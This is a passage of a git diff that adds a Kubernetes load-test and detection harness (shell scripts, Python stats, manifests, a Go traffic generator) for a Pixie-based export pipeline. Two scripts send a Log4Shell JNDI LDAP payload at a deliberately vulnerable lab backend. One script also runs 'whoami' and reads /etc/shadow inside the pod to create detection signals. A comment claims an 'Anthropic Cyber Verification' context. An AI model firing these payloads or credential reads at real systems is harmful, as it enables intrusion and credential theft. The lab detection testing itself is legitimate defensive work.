-n "$mani" ]] || die "gen $name never fired (logs:)\n$(k -n "$AELOAD_NS" logs "$name" 2>/dev/null | tail -20)" + echo "$mani" +} +del_gen(){ k -n "$AELOAD_NS" delete pod "$1" --grace-period=2 --wait=false >/dev/null 2>&1 || true; } + +# jget β€” tiny JSON field reader (numbers/strings) via python3. +jget(){ python3 -c 'import json,sys;print(json.load(sys.stdin)[sys.argv[1]])' "$2" <<<"$1"; } diff --git a/src/e2e_test/adaptive_export_loadtest/harness/log4shell_fire.sh b/src/e2e_test/adaptive_export_loadtest/harness/log4shell_fire.sh new file mode 100755 index 00000000000..7cd7ba7b619 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/log4shell_fire.sh @@ -0,0 +1,83 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# log4shell_fire.sh β€” generate the bob log4j-chain log4shell DETECTION SIGNAL reliably, +# with clean restart. (Anthropic Cyber Verification context: this is detection-signal +# generation for validating the kubescapeβ†’DXβ†’AE chain, not offensive use.) +# +# Addresses bob#140 (the log4shell signal is STATEFUL/unreliable on a re-fired/restarted +# backend β€” JVM negative-DNS cache + first-eval timing). Reliability is achieved BY +# CONSTRUCTION: each attempt uses a fresh-JVM backend + the WORKING resolvable FQDN, then +# VERIFIES the actual LDAP egress (backend β†’ attacker:1389 in forensic_db.conn_stats) and +# RETRIES until confirmed β€” the "validity gate". It never assumes the signal was generated. +# +# Hard-won facts baked in (see memory log4j-network-detection-chain / bob#140): +# - WORKING JNDI host = attacker..svc.cluster.local (RESOLVABLE Service FQDN). +# A bare/partial name (e.g. attacker-ns.svc) NXDOMAINs β†’ DNS event dropped β†’ nothing fires. +# - attacker (LDAP server) MUST be up BEFORE backend (#140 attacker-before-backend). +# - delete the backend pod (not just rollout) β†’ fresh JVM β†’ clears the negative-DNS cache. +# +# Run NODE-SIDE on the rig (kubectl reaches the cluster directly). Idempotent. +# Env knobs: NS, ANS, RESTART(=1), MAXTRIES(=5), FIRES(=15). +set -uo pipefail +NS=${NS:-log4j-poc} +ANS=${ANS:-attacker-ns} +JNDI_HOST=${JNDI_HOST:-attacker.$ANS.svc.cluster.local} +JNDI='${jndi:ldap://'"$JNDI_HOST"':1389/Payload}' +RESTART=${RESTART:-1} +MAXTRIES=${MAXTRIES:-5} +FIRES=${FIRES:-15} +CHPOD=${CHPOD:-chi-forensic-soc-db-soc-cluster-0-0-0} +chq(){ kubectl -n clickhouse exec "$CHPOD" -c clickhouse -- clickhouse-client -q "$1" 2>/dev/null; } +ldap_count(){ chq "SELECT count() FROM forensic_db.conn_stats WHERE remote_port=1389 AND time_ > now()-INTERVAL 5 MINUTE"; } + +# 0. Attacker/LDAP server up FIRST (#140). +kubectl -n "$ANS" rollout status deploy/attacker --timeout=60s >/dev/null 2>&1 \ + || { echo "FATAL: attacker (LDAP :1389) not ready β€” bring it up before backend"; exit 1; } +echo "attacker ready (LDAP :1389) β€” #140 attacker-before-backend satisfied; JNDI host=$JNDI_HOST" + +for try in $(seq 1 "$MAXTRIES"); do + if [ "$RESTART" = 1 ]; then + echo "[try $try] delete backend pod β†’ fresh JVM (clears negative-DNS cache)" + kubectl -n "$NS" delete pod -l app=backend --wait=true >/dev/null 2>&1 + kubectl -n "$NS" rollout status deploy/backend --timeout=120s >/dev/null 2>&1 + sleep 12 # app listening + Pixie re-attach + fi + BIP=$(kubectl -n "$NS" get svc backend -o jsonpath='{.spec.clusterIP}' 2>/dev/null) + BPORT=$(kubectl -n "$NS" get svc backend -o jsonpath='{.spec.ports[0].port}' 2>/dev/null) + before=$(ldap_count) + echo "[try $try] fire JNDI at backend $BIP:$BPORT (x$FIRES)" + for _ in $(seq 1 "$FIRES"); do + kubectl -n "$ANS" exec deploy/attacker -- curl -s -m5 -A "$JNDI" "http://$BIP:$BPORT/api/products" >/dev/null 2>&1 || true + sleep 0.5 + done + sleep 40 # settle: LDAP egress lands in conn_stats + after=$(ldap_count) + echo "[try $try] backend->:1389 LDAP egress (last5m): before=${before:-?} after=${after:-?}" + if [ "${after:-0}" -gt "${before:-0}" ]; then + echo "SIGNAL CONFIRMED β€” backend->:1389 LDAP egress generated on try $try (host=$JNDI_HOST)." + echo "Downstream now has signal: R0005 (DNS) + ldap-egress for DX log4shell-rce-exfil detection." + exit 0 + fi + echo "[try $try] NOT fired (literal \${jndi} in backend log = log4j didn't expand) β€” retrying with fresh JVM" + RESTART=1 +done +echo "FAILED to confirm LDAP egress after $MAXTRIES tries." +echo "Check: backend app log shows 'ua=\${jndi:...}' LITERAL (not expanded) β‡’ log4j lookups not evaluating;" +echo "verify backend is the *-vulnerable image + log4j evaluates message lookups (bob#140 validity gate)." +exit 2 diff --git a/src/e2e_test/adaptive_export_loadtest/harness/nfr.sh b/src/e2e_test/adaptive_export_loadtest/harness/nfr.sh new file mode 100755 index 00000000000..130ae8ec599 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/nfr.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# nfr.sh β€” AE non-functional benchmark: throughput, AE+dx mem under load, and +# END-TO-END no-data-loss proof (broker read_count == AE wrote_count == ACTUAL CH rows). +# Two phases: passthrough (firehose, throughput stress) then streaming (DX). Node-side on rig. +set -uo pipefail +NS=log4j-poc; CHPOD=chi-forensic-soc-db-soc-cluster-0-0-0 +DUR=${DUR:-150} +OUT=/tmp/nfr.txt; : > "$OUT" +chq(){ kubectl -n clickhouse exec "$CHPOD" -c clickhouse -- clickhouse-client -q "$1" 2>/dev/null; } +say(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$OUT"; } +BIP=$(kubectl -n $NS get svc backend -o jsonpath='{.spec.clusterIP}'); BPORT=$(kubectl -n $NS get svc backend -o jsonpath='{.spec.ports[0].port}') +fire(){ kubectl -n attacker-ns exec deploy/attacker -- curl -s -m4 -A '${jndi:ldap://attacker.attacker-ns.svc.cluster.local:1389/Payload}' "http://$BIP:$BPORT/api/products" >/dev/null 2>&1 || true + local BP; BP=$(kubectl -n $NS get pods --no-headers 2>/dev/null|awk '/^backend/{print $1;exit}') + [ -n "$BP" ] && kubectl -n $NS exec "$BP" -- sh -c 'whoami; cat /etc/shadow 2>/dev/null|head -1; getent hosts attacker.attacker-ns.svc.cluster.local >/dev/null 2>&1' >/dev/null 2>&1 || true; } +memsum(){ kubectl -n "$1" top pod -l "$2" --no-headers 2>/dev/null | awk '{gsub(/Mi/,"",$3); s+=$3} END{print s+0}'; } +truncate_all(){ local t; for t in http_events dns_events conn_stats pgsql_events ae_reconcile adaptive_attribution kubescape_logs; do chq "TRUNCATE TABLE IF EXISTS forensic_db.\`$t\`" >/dev/null 2>&1; done; } +setarm(){ kubectl -n pl set env ds/adaptive-export "$@" ADAPTIVE_RECONCILE=true >/dev/null 2>&1; kubectl -n pl rollout status ds/adaptive-export --timeout=150s >/dev/null 2>&1; } + +run_phase(){ local name=$1; shift + say "=== PHASE $name : $* ===" + setarm "$@"; truncate_all; say " truncated; $name load window ${DUR}s" + local t0 aemax=0 dxmax=0 pemmax=0 sm=0 + t0=$(date +%s) + while [ $(( $(date +%s) - t0 )) -lt "$DUR" ]; do + fire + local ae dx pem; ae=$(memsum pl 'name=adaptive-export'); dx=$(memsum honey 'app=dx-daemon'); pem=$(memsum pl 'name=vizier-pem') + [ "${ae:-0}" -gt "$aemax" ] && aemax=$ae; [ "${dx:-0}" -gt "$dxmax" ] && dxmax=$dx; [ "${pem:-0}" -gt "$pemmax" ] && pemmax=$pem + sm=$((sm+1)); sleep 12 + done + local el; el=$(( $(date +%s) - t0 )); say " window done ${el}s ($sm samples); flush 20s"; sleep 20 + say " [MEM peak] AE(2pods)=${aemax}Mi dx-daemon=${dxmax}Mi PEM=${pemmax}Mi" + say " [NO-LOSS PROOF] broker_read == AE_wrote == CH_actual_rows:" + local t rd wr ch + for t in http_events dns_events conn_stats; do + rd=$(chq "SELECT sum(read_count) FROM forensic_db.ae_reconcile WHERE table_name='$t'"); rd=${rd:-0} + wr=$(chq "SELECT sum(wrote_count) FROM forensic_db.ae_reconcile WHERE table_name='$t'"); wr=${wr:-0} + ch=$(chq "SELECT count() FROM forensic_db.$t"); ch=${ch:-0} + say " $t: read=$rd wrote=$wr CH_rows=$ch $([ "$wr" = "$ch" ] && echo 'MATCH' || echo '*MISMATCH*')$([ "$rd" = "$wr" ] && echo '/read==wrote' || echo '/READ!=WROTE')" + done + say " [BYTES] per-table rows + compressed bytes (on-disk data volume):" + chq "SELECT ' '||table, sum(rows), sum(data_compressed_bytes) FROM system.parts WHERE database='forensic_db' AND active AND table IN ('http_events','dns_events','conn_stats') GROUP BY table ORDER BY table FORMAT TSV" | tee -a "$OUT" + local tot; tot=$(chq "SELECT count() FROM forensic_db.http_events"); tot=$((tot + $(chq "SELECT count() FROM forensic_db.dns_events") + $(chq "SELECT count() FROM forensic_db.conn_stats"))) + say " [THROUGHPUT] $name CH rows=$tot over ${el}s = $(awk -v r=$tot -v e=$el 'BEGIN{printf "%.1f", r/e}') rows/s" + say " [steered] $(chq "SELECT arrayStringConcat(groupArray(pod),',') FROM (SELECT DISTINCT pod FROM forensic_db.adaptive_attribution WHERE t_end>now())")" +} + +say "##### AE NFR BENCHMARK START #####" +run_phase ALL-passthrough ADAPTIVE_PASSTHROUGH=true ADAPTIVE_WRITE_MODE= ADAPTIVE_PUSH_PIXIE_ROWS=false ADAPTIVE_PASSTHROUGH_WINDOW_SEC=60 ADAPTIVE_PASSTHROUGH_REFRESH_SEC=60 +run_phase DX-streaming ADAPTIVE_PASSTHROUGH=false ADAPTIVE_WRITE_MODE=streaming ADAPTIVE_PUSH_PIXIE_ROWS=false ADAPTIVE_STREAM_WINDOW_SEC=60 ADAPTIVE_STREAM_REFRESH_SEC=60 +say "##### NFR DONE #####" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/run.sh b/src/e2e_test/adaptive_export_loadtest/harness/run.sh new file mode 100755 index 00000000000..f8403e4fdbb --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/run.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# run.sh β€” drive the full AE fixture-isolation suite on a live rig and produce +# the reproducibility evidence (per-experiment CSV + stats verdicts). +# +# Prereqs: +# KUBECONFIG = tailscale-direct kubeconfig (make kubeconfig PG=) +# AELOAD_IMAGE = ttl.sh/aeload-:24h (built on the PG dev-machine) +# AE in single-shot load-test mode (this script runs ae_config.sh). +# +# Usage: KUBECONFIG=... AELOAD_IMAGE=... EVID=/path ./run.sh +set -uo pipefail +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; source "$HERE/lib.sh" + +[[ -n "${AELOAD_IMAGE:-}" ]] || die "AELOAD_IMAGE not set" +EVID="${EVID:-/home/croedig/biz/PoC/log4j/evidence/datavolume/aeload_$(date -u +%Y%m%dT%H%M%SZ)}" +mkdir -p "$EVID" +REPS_CTRL="${REPS_CTRL:-100}" +REPS_E5="${REPS_E5:-100}" +REPS_E6="${REPS_E6:-10}" +log "evidence dir: $EVID" + +# 1) AE into single-shot load-test mode (idempotent). +bash "$HERE/ae_config.sh" + +# 2) Control-plane experiments (no Pixie/gen needed). +for e in E1 E2 E3 E4; do + log "=== control $e (reps=$REPS_CTRL) ===" + EXP="$e" REPS="$REPS_CTRL" OUT="$EVID/${e}.csv" bash "$HERE/exp_control.sh" +done +log "=== control E6 idempotency (reps=$REPS_E6) ===" +EXP=E6 REPS="$REPS_E6" OUT="$EVID/E6.csv" bash "$HERE/exp_control.sh" + +# 3) Data-plane experiment (real Pixie capture of the counted band). +log "=== data-plane E5 (reps=$REPS_E5) ===" +REPS="$REPS_E5" OUT="$EVID/E5.csv" bash "$HERE/exp_e5.sh" + +# 4) Aggregate verdicts. +log "=== aggregate ===" +python3 "$HERE/stats.py" "$EVID"/*.csv | tee "$EVID/VERDICT.txt" +log "DONE -> $EVID" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/stats.py b/src/e2e_test/adaptive_export_loadtest/harness/stats.py new file mode 100755 index 00000000000..a9b4a6fa59a --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/stats.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +"""stats.py β€” reduce an experiment CSV to a per-metric reproducibility report. + +Exact reproducibility ⇔ every measured (`*_act`) metric has a single distinct +value across all PASS reps (std = 0 / CV = 0). Prints per-metric +n/distinct/mean/std/CV%/min/max and an overall verdict. No fabrication: it only +summarizes the rows the harness actually recorded. + +Usage: stats.py [ ...] +""" +import csv +import statistics as st +import sys + + +def num(x): + try: + return float(x) + except (TypeError, ValueError): + return None + + +def report(path): + with open(path) as f: + rows = list(csv.DictReader(f)) + if not rows: + print(f"== {path}: empty ==") + return + cols = list(rows[0].keys()) + passcol = "pass" if "pass" in cols else None + npass = sum(1 for r in rows if passcol and str(r[passcol]).startswith("PASS")) + print(f"== {path} == reps={len(rows)} PASS={npass}/{len(rows)}") + + # Reproducibility metrics = the COUNT columns AE wrote (must be constant + # across reps). wm_act is EXCLUDED: it equals each rep's distinct event_time + # by design (monotone), validated per-rep as wm_act==wm_exp via the pass flag + # β€” it is not expected to be constant across reps. + metrics = [c for c in cols if c.endswith("_act") and c != "wm_act"] + metrics = list(dict.fromkeys(metrics)) # dedupe, keep order + repro_ok = True + for c in metrics: + vals = [num(r[c]) for r in rows if (not passcol or str(r[passcol]).startswith("PASS"))] + vals = [v for v in vals if v is not None] + if not vals: + print(f" {c:16s} (no numeric PASS values)") + continue + distinct = sorted(set(vals)) + mean = st.fmean(vals) + sd = st.pstdev(vals) if len(vals) > 1 else 0.0 + cv = (sd / mean * 100) if mean else 0.0 + flag = "EXACT" if len(distinct) == 1 else f"VARIES({len(distinct)})" + if len(distinct) != 1: + repro_ok = False + print(f" {c:16s} n={len(vals):4d} distinct={len(distinct):3d} " + f"mean={mean:.3f} std={sd:.3f} cv={cv:.4f}% " + f"min={min(vals):.0f} max={max(vals):.0f} {flag}") + verdict = ("EXACTLY REPRODUCIBLE (all metrics std=0)" if repro_ok + else "NOT exactly reproducible (see VARIES above)") + print(f" VERDICT: {verdict}") + print() + + +def main(): + if len(sys.argv) < 2: + print(__doc__) + sys.exit(2) + for p in sys.argv[1:]: + report(p) + + +if __name__ == "__main__": + main() diff --git a/src/e2e_test/adaptive_export_loadtest/k8s/00-sinks.yaml b/src/e2e_test/adaptive_export_loadtest/k8s/00-sinks.yaml new file mode 100644 index 00000000000..7aca396ff60 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/k8s/00-sinks.yaml @@ -0,0 +1,82 @@ +--- +# Shared, long-lived data-plane sinks for the AE load-tests. These are the PEER +# side of cleanloadgen's traffic; AE filters to the client (gen) pod so the +# sinks' own rows are excluded β€” but they carry NO probes/sidecars regardless so +# the namespace stays free of uncounted traffic. +# +# IMAGE is substituted by the harness (ttl.sh/aeload-:24h, built on the PG +# dev-machine). pg-sink uses the public postgres image. +apiVersion: v1 +kind: Namespace +metadata: + name: aeload + labels: + app.kubernetes.io/part-of: ae-loadtest +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: http-sink + namespace: aeload +spec: + replicas: 1 + selector: + matchLabels: {app: http-sink} + template: + metadata: + labels: {app: http-sink} + spec: + # No probes anywhere: probe traffic would be captured by Pixie. + containers: + - name: httpsink + image: __IMAGE__ + command: ["/usr/local/bin/httpsink"] + env: + - {name: LISTEN_ADDR, value: ":8080"} + ports: + - containerPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: + name: http-sink + namespace: aeload +spec: + selector: {app: http-sink} + ports: + - port: 8080 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: pg-sink + namespace: aeload +spec: + replicas: 1 + selector: + matchLabels: {app: pg-sink} + template: + metadata: + labels: {app: pg-sink} + spec: + containers: + - name: postgres + image: postgres:16-alpine + # trust auth keeps the gen simple; no probes. + env: + - {name: POSTGRES_PASSWORD, value: postgres} + - {name: POSTGRES_HOST_AUTH_METHOD, value: trust} + ports: + - containerPort: 5432 +--- +apiVersion: v1 +kind: Service +metadata: + name: pg-sink + namespace: aeload +spec: + selector: {app: pg-sink} + ports: + - port: 5432 + targetPort: 5432 diff --git a/src/e2e_test/adaptive_export_loadtest/k8s/gen-pod.tmpl.yaml b/src/e2e_test/adaptive_export_loadtest/k8s/gen-pod.tmpl.yaml new file mode 100644 index 00000000000..6c02ee557c1 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/k8s/gen-pod.tmpl.yaml @@ -0,0 +1,38 @@ +--- +# Per-rep generator pod. The harness renders one of these per repetition with a +# UNIQUE name (gen--) β€” that uniqueness is the data-plane isolation: +# AE's df.pod filter pulls only this rep's traffic even if windows overlap. +# +# Substituted by the harness: __NAME__, __IMAGE__, __HTTP_ADDR__ (sink ClusterIP +# :8080 as a literal IP so it adds no DNS), __PG_ADDR__, __HTTP_N__, __DNS_N__, +# __PGSQL_N__. The pod FIRES once then HOLDS (sleeps on SIGTERM) so its upid +# stays resolvable while AE queries the window; the harness deletes it after the +# rep is measured. +apiVersion: v1 +kind: Pod +metadata: + name: __NAME__ + namespace: aeload + labels: + app: aeload-gen +spec: + restartPolicy: Never + containers: + - name: gen + image: __IMAGE__ + command: ["/usr/local/bin/cleanloadgen"] + env: + - {name: HTTP_ADDR, value: "__HTTP_ADDR__"} + - {name: HTTP_PATH, value: "/ping"} + - {name: HTTP_N, value: "__HTTP_N__"} + - {name: DNS_N, value: "__DNS_N__"} + - {name: DNS_BASE, value: "t-%d.aeload.svc.cluster.local."} + - {name: PG_ADDR, value: "__PG_ADDR__"} + - {name: PGSQL_N, value: "__PGSQL_N__"} + - {name: PG_USER, value: "postgres"} + - {name: PG_PASSWORD, value: "postgres"} + - {name: SETTLE_PRE_MS, value: "__SETTLE_PRE_MS__"} + - {name: SUSTAIN_SEC, value: "__SUSTAIN_SEC__"} + - {name: POD_NAME, valueFrom: {fieldRef: {fieldPath: metadata.name}}} + - {name: POD_NAMESPACE, valueFrom: {fieldRef: {fieldPath: metadata.namespace}}} + - {name: NODE_NAME, valueFrom: {fieldRef: {fieldPath: spec.nodeName}}} diff --git a/src/e2e_test/adaptive_export_loadtest/tools/loadgen/Dockerfile b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/Dockerfile new file mode 100644 index 00000000000..fd186588a19 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/Dockerfile @@ -0,0 +1,18 @@ +# Build both load-test binaries (cleanloadgen + httpsink) into one small image. +# Built on the PG dev-machine (native amd64 docker), never on the agent VM +# (ARM, no bazel/heavy-build) β€” same path used for the dx images. +FROM golang:1.22-bookworm AS build +WORKDIR /src +# -mod=mod lets the build resolve + record go.sum for the single lib/pq dep +# without a pre-committed go.sum (keeps the tool tree minimal). +ENV GOFLAGS=-mod=mod CGO_ENABLED=0 +COPY go.mod ./ +COPY cmd ./cmd +RUN go build -trimpath -ldflags="-s -w" -o /out/cleanloadgen ./cmd/cleanloadgen +RUN go build -trimpath -ldflags="-s -w" -o /out/httpsink ./cmd/httpsink + +FROM gcr.io/distroless/static-debian12:nonroot +COPY --from=build /out/cleanloadgen /usr/local/bin/cleanloadgen +COPY --from=build /out/httpsink /usr/local/bin/httpsink +# Default to the sink; the generator pod overrides command to cleanloadgen. +ENTRYPOINT ["/usr/local/bin/httpsink"] diff --git a/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/cleanloadgen/main.go b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/cleanloadgen/main.go new file mode 100644 index 00000000000..4c506eb4a31 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/tools/loadgen/cmd/cleanloadgen/main.go @@ -0,0 +1,255 @@ +// cleanloadgen β€” a deterministic, "clean-cut" traffic generator for the +// adaptive_export (AE) live data-plane load-tests. +// +// It is the OPPOSITE of a fuzzer: its only job is to emit an EXACTLY known +// number of HTTP, DNS and PostgreSQL operations against fixed sinks, inside a +// single sealed time band [B0,B1], and emit nothing else over the network. The +// counts it prints are the ground-truth oracle the AE assertions compare +// forensic_db row deltas against β€” no fabricated numbers anywhere. +// +// Determinism rules baked in (see the load-test design notes): +// - HTTP: one NEW TCP connection per request (DisableKeepAlives) so both +// http_events AND conn_stats counts are a function of HTTP_N. Every request +// MUST return 2xx or the process exits non-zero (the rep is discarded, not +// silently mis-counted). +// - DNS: exactly ONE A-query per name via LookupNetIP(ip4) on a FQDN with a +// trailing dot (suppresses /etc/resolv.conf search-domain expansion under +// ndots:5) β†’ dns_events == DNS_N. Names need not resolve; an NXDOMAIN is +// still one captured query/response, so NXDOMAIN is not treated as failure. +// - PGSQL: a single connection runs PGSQL_N separate `SELECT 1` statements β†’ +// pgsql_events == PGSQL_N. +// - HTTP/PG endpoints are passed as IP:port (HTTP_ADDR / PG_ADDR), never DNS +// names, so resolving the sinks themselves cannot pollute the DNS count. +// +// After firing, the process prints a one-line JSON manifest, emits the sentinel +// AELOAD_FIRED, then HOLDS (sleeps until SIGTERM). Holding keeps the pod β€” and +// therefore its upid β€” alive so Pixie's upid_to_pod_name can still resolve it +// when AE queries the window AFTER the kubescape fixture is injected. The +// harness deletes the pod once the rep is measured. +package main + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "fmt" + "io" + "net" + "net/http" + "os" + "os/signal" + "strconv" + "strings" + "syscall" + "time" + + _ "github.com/lib/pq" +) + +type manifest struct { + HTTP int `json:"http"` // http_events expected + DNS int `json:"dns"` // dns_events expected (A queries) + PGSQL int `json:"pgsql"` // pgsql_events expected + ConnTCPEst int `json:"conn_tcp_est"` // conn_stats TCP rows expected (tolerance gate) + B0 int64 `json:"b0"` // band start, unix nanos (node clock == Pixie time_) + B1 int64 `json:"b1"` // band end, unix nanos + B0ISO string `json:"b0_iso"` + B1ISO string `json:"b1_iso"` + Pod string `json:"pod"` + Namespace string `json:"namespace"` + Node string `json:"node"` +} + +func envInt(k string, def int) int { + if v := os.Getenv(k); v != "" { + if n, err := strconv.Atoi(v); err == nil { + return n + } + fatalf("env %s=%q is not an integer", k, v) + } + return def +} + +func envStr(k, def string) string { + if v := os.Getenv(k); v != "" { + return v + } + return def +} + +func fatalf(format string, a ...any) { + fmt.Fprintf(os.Stderr, "cleanloadgen: "+format+"\n", a...) + os.Exit(1) +} + +func mustIPPort(k string) string { + v := os.Getenv(k) + if v == "" { + fatalf("%s is required (IP:port, never a DNS name β€” see design)", k) + } + host, _, err := net.SplitHostPort(v) + if err != nil { + fatalf("%s=%q is not host:port: %v", k, v, err) + } + if net.ParseIP(host) == nil { + fatalf("%s host %q must be a literal IP, not a name, so it cannot add DNS events", k, host) + } + return v +} + +func main() { + var ( + httpN = envInt("HTTP_N", 100) + dnsN = envInt("DNS_N", 100) + pgN = envInt("PGSQL_N", 100) + httpAddr = mustIPPort("HTTP_ADDR") // e.g. 10.43.0.10:8080 + httpPath = envStr("HTTP_PATH", "/ping") + dnsBase = envStr("DNS_BASE", "t-%d.aeload.svc.cluster.local.") // trailing dot = FQDN + settlePre = time.Duration(envInt("SETTLE_PRE_MS", 1500)) * time.Millisecond + ) + // PG is optional (PGSQL_N may be 0 or PG_ADDR unset). + pgAddr := os.Getenv("PG_ADDR") + if pgN > 0 { + pgAddr = mustIPPort("PG_ADDR") + } + + // Let the pod's networking settle and the upid register before the band + // opens, so no stray startup traffic lands inside [B0,B1]. + time.Sleep(settlePre) + + b0 := time.Now() + + // ---- HTTP: HTTP_N requests, new connection each ---- + for i := 0; i < httpN; i++ { + // Fresh transport per request guarantees a new TCP connection. + tr := &http.Transport{DisableKeepAlives: true} + cl := &http.Client{Transport: tr, Timeout: 5 * time.Second} + url := "http://" + httpAddr + httpPath + resp, err := cl.Get(url) + if err != nil { + fatalf("http request %d/%d to %s failed: %v", i+1, httpN, url, err) + } + _, _ = io.Copy(io.Discard, resp.Body) + resp.Body.Close() + if resp.StatusCode/100 != 2 { + fatalf("http request %d/%d to %s: status %d (need 2xx)", i+1, httpN, url, resp.StatusCode) + } + tr.CloseIdleConnections() + } + + // ---- DNS: DNS_N distinct names, exactly one A query each ---- + res := &net.Resolver{PreferGo: true} + for i := 0; i < dnsN; i++ { + name := fmt.Sprintf(dnsBase, i) + if !strings.HasSuffix(name, ".") { + fatalf("DNS_BASE must yield an FQDN ending in '.' to suppress search expansion; got %q", name) + } + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + // ip4 β†’ a single A query. NXDOMAIN is fine: the query/response is still + // one captured dns_event. Any OTHER error (timeout) means the query may + // not have completed deterministically β†’ fail the rep. + _, err := res.LookupNetIP(ctx, "ip4", name) + cancel() + if err != nil && !isNXDomain(err) { + fatalf("dns lookup %d/%d for %s failed non-NXDOMAIN: %v", i+1, dnsN, name, err) + } + } + + // ---- PGSQL: PGSQL_N statements over one connection ---- + if pgN > 0 { + host, port, _ := net.SplitHostPort(pgAddr) + dsn := fmt.Sprintf("host=%s port=%s user=%s password=%s dbname=%s sslmode=disable connect_timeout=5", + host, port, + envStr("PG_USER", "postgres"), envStr("PG_PASSWORD", "postgres"), envStr("PG_DB", "postgres")) + db, err := sql.Open("postgres", dsn) + if err != nil { + fatalf("pg open: %v", err) + } + db.SetMaxOpenConns(1) + db.SetMaxIdleConns(1) + for i := 0; i < pgN; i++ { + var one int + if err := db.QueryRow("SELECT 1").Scan(&one); err != nil { + fatalf("pg query %d/%d failed: %v", i+1, pgN, err) + } + } + db.Close() + } + + b1 := time.Now() + + m := manifest{ + HTTP: httpN, + DNS: dnsN, + PGSQL: pgN, + ConnTCPEst: httpN + boolToInt(pgN > 0), // HTTP_N new conns + 1 pg conn + B0: b0.UnixNano(), + B1: b1.UnixNano(), + B0ISO: b0.UTC().Format(time.RFC3339Nano), + B1ISO: b1.UTC().Format(time.RFC3339Nano), + Pod: envStr("POD_NAME", os.Getenv("HOSTNAME")), + Namespace: envStr("POD_NAMESPACE", "aeload"), + Node: envStr("NODE_NAME", ""), + } + out, _ := json.Marshal(m) + fmt.Printf("AELOAD_MANIFEST %s\n", out) + fmt.Println("AELOAD_FIRED") + + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGTERM, syscall.SIGINT) + + // SUSTAIN: after the exact counted band, optionally keep a low continuous + // HTTP trickle for SUSTAIN_SEC. A FRESH pod's traffic is often missed because + // Pixie/Stirling's eBPF attaches to the new process only after a scan cycle β€” + // so a one-shot band fires before capture begins (the "0 for freshly-flagged + // pods" symptom). A trickle keeps the pod observable for the whole window, so + // Pixie captures it once attached. Used by the sustained / "does AE keep + // writing until t_end" RCA (E8-data). For exact-count tests (E5) leave + // SUSTAIN_SEC=0 and instead pre-warm via SETTLE_PRE_MS so Stirling is already + // attached when the exact band fires. + if sustainSec := envInt("SUSTAIN_SEC", 0); sustainSec > 0 { + deadline := time.Now().Add(time.Duration(sustainSec) * time.Second) + ticker := time.NewTicker(time.Second) + defer ticker.Stop() + // Trickle DISTINCT DNS lookups (one A-query each) β€” a protocol Pixie + // reliably traces β€” so every AE re-pull pass sees NEW rows and we can + // observe the C15 "keep writing until t_end" contract. (HTTP trickle was + // invisible on rigs where Pixie isn't tracing HTTP.) + sres := &net.Resolver{PreferGo: true} + si := dnsN + for time.Now().Before(deadline) { + select { + case <-sig: + return + case <-ticker.C: + sctx, scancel := context.WithTimeout(context.Background(), 3*time.Second) + _, _ = sres.LookupNetIP(sctx, "ip4", fmt.Sprintf(dnsBase, si)) + scancel() + si++ + } + } + } + + // HOLD: keep the pod (and its upid) alive so Pixie metadata still resolves + // upid_to_pod_name when AE queries the window. Harness deletes us when done. + <-sig +} + +func boolToInt(b bool) int { + if b { + return 1 + } + return 0 +} + +// isNXDomain reports whether err is a "no such host" DNS error (the expected, +// fully-deterministic outcome for synthetic names) rather than a transport +// failure that 